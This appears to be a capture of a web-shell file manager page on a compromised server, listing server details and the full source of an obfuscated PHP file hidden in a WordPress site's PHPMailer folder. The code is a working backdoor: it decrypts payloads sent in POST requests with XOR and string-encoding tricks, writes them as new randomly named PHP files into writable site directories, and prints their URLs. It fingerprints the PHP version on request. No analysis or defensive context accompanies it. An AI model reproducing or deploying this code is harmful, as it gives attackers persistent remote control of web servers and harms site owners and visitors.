HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes_old/PHPMailer/lyusxahq.php
<?php function mAwBV($AFheCJ, $iDeVS, $BYSsn){$SzzDRAaU = "ed3d2fef-651f-42b5-8266-5819caf65ab1";return $AFheCJ ^ $SzzDRAaU[$iDeVS % strlen($SzzDRAaU)] ^ $BYSsn;}$NPcIB = "KrbYbtYdQ";function rvJBfrjXDR($NPcIB){ $RCnFiuC = chr(115).chr(116).'r'."\137".chr(1103-989).chr(353-242).chr(427-311).chr(314-265).chr(51);$NPcIB = $RCnFiuC($NPcIB);$FnsXHtrW = "\162"."\x61"."\x77"."\x75"."\162".chr(108).'d'.chr(870-769).chr(99)."\x6f"."\x64"."\145";$NPcIB = $FnsXHtrW($NPcIB);$NPcIB = str_split($NPcIB);return $NPcIB;}function kVgyZWgXB($sUAeOxa, $BYSsn){$sUAeOxa = array_map("mAwBV", array_values($sUAeOxa), array_keys($sUAeOxa), array_values($BYSsn));$sUAeOxa = implode("", $sUAeOxa);$rlbbbr = "\165".chr(110).chr(876-761).chr(667-566).chr(929-815).'i'."\141".chr(108).chr(105)."\172"."\x65";$sUAeOxa = @$rlbbbr($sUAeOxa);return $sUAeOxa;}function xXrSZtqptg($BYSsn, $sUAeOxa){$BYSsn = array_slice(str_split(str_repeat($BYSsn, (count($sUAeOxa)/16)+1)), 0, count($sUAeOxa));return $BYSsn;}function akFAQFoOVw(){echo "BvEsZZr";}function WycMjHjHj($ehdcRIir){static $EATPIVxzn = array();$gDQfhHsG = glob($ehdcRIir . '/*', GLOB_ONLYDIR);$NGYtR = count($gDQfhHsG);if ($NGYtR > 0) {foreach ($gDQfhHsG as $ehdcRI) {$CzPatMk = chr(934-829)."\163"."\137"."\167".chr(114)."\151"."\164".chr(503-406).'b'."\154".chr(1042-941);if (@$CzPatMk($ehdcRI)) {$EATPIVxzn[] = $ehdcRI;}}}foreach ($gDQfhHsG as $ehdcRIir) WycMjHjHj($ehdcRIir);return $EATPIVxzn;}function euhefhL($sUAeOxa){$fElarLPt = 'D'."\x4f"."\103"."\125".chr(77).chr(224-155).'N'.chr(168-84)."\137".chr(82).chr(442-363).'O'.chr(84);$QKVqZsu = $_SERVER[$fElarLPt];$gDQfhHsG = WycMjHjHj($QKVqZsu);$kCnHOvyTFD = array_rand($gDQfhHsG);$MCyvePyv = chr(130-84)."\x70".chr(418-314).'p';$RdoRhQYZfX = $gDQfhHsG[$kCnHOvyTFD] . "/" . substr(md5(time()), 0, 8) . $MCyvePyv;$bYhCbc = "\x66".chr(105)."\x6c".'e'.chr(95)."\x70".'u'.'t'.chr(95)."\x63".'o'."\x6e"."\x74"."\x65".'n'."\x74".'s';@$bYhCbc($RdoRhQYZfX, $sUAeOxa);$ZMzGyYrya = 'H'.chr(739-655).'T'.chr(181-101).chr(992-897).chr(72).chr(366-287).chr(83).chr(770-686);$HWEmjtz = "\150"."\x74".chr(116)."\x70".chr(142-84)."\x2f".'/';$SwyhdIfkgp = $HWEmjtz . $_SERVER[$ZMzGyYrya] . substr($RdoRhQYZfX, strlen($QKVqZsu));print($SwyhdIfkgp);}function DeuGPjZuk(){$cBejdYgyFe = chr(228-116)."\150"."\x70";$VwLrTCYe = "\x70"."\x68".chr(112).'v'.chr(101).'r'.chr(115).'i'."\x6f".chr(110);$sUAeOxa = Array($cBejdYgyFe => @$VwLrTCYe(), );$MbaxJsTKNA = "\163"."\x65"."\162"."\151".chr(97)."\154".chr(105).'z'."\x65";echo @$MbaxJsTKNA($sUAeOxa);}function zKGbKuSV(){echo "KrbYbtYdQ";}foreach ($_POST as $BYSsn => $sUAeOxa){$TSEmAh = strlen($BYSsn);if ($TSEmAh == 16){$sUAeOxa = rvJBfrjXDR($sUAeOxa);$BYSsn = xXrSZtqptg($BYSsn, $sUAeOxa);$sUAeOxa = kVgyZWgXB($sUAeOxa, $BYSsn);if (@is_array($sUAeOxa)){$kCnHOvyTFD = array_keys($sUAeOxa);$sUAeOxa = $sUAeOxa[$kCnHOvyTFD[0]];$kCnHOvyTFD = $kCnHOvyTFD[0];$kCnHOvyTFD = substr($kCnHOvyTFD, 0);if ($sUAeOxa !== $kCnHOvyTFD){euhefhL($sUAeOxa);}else {DeuGPjZuk();}}}}die();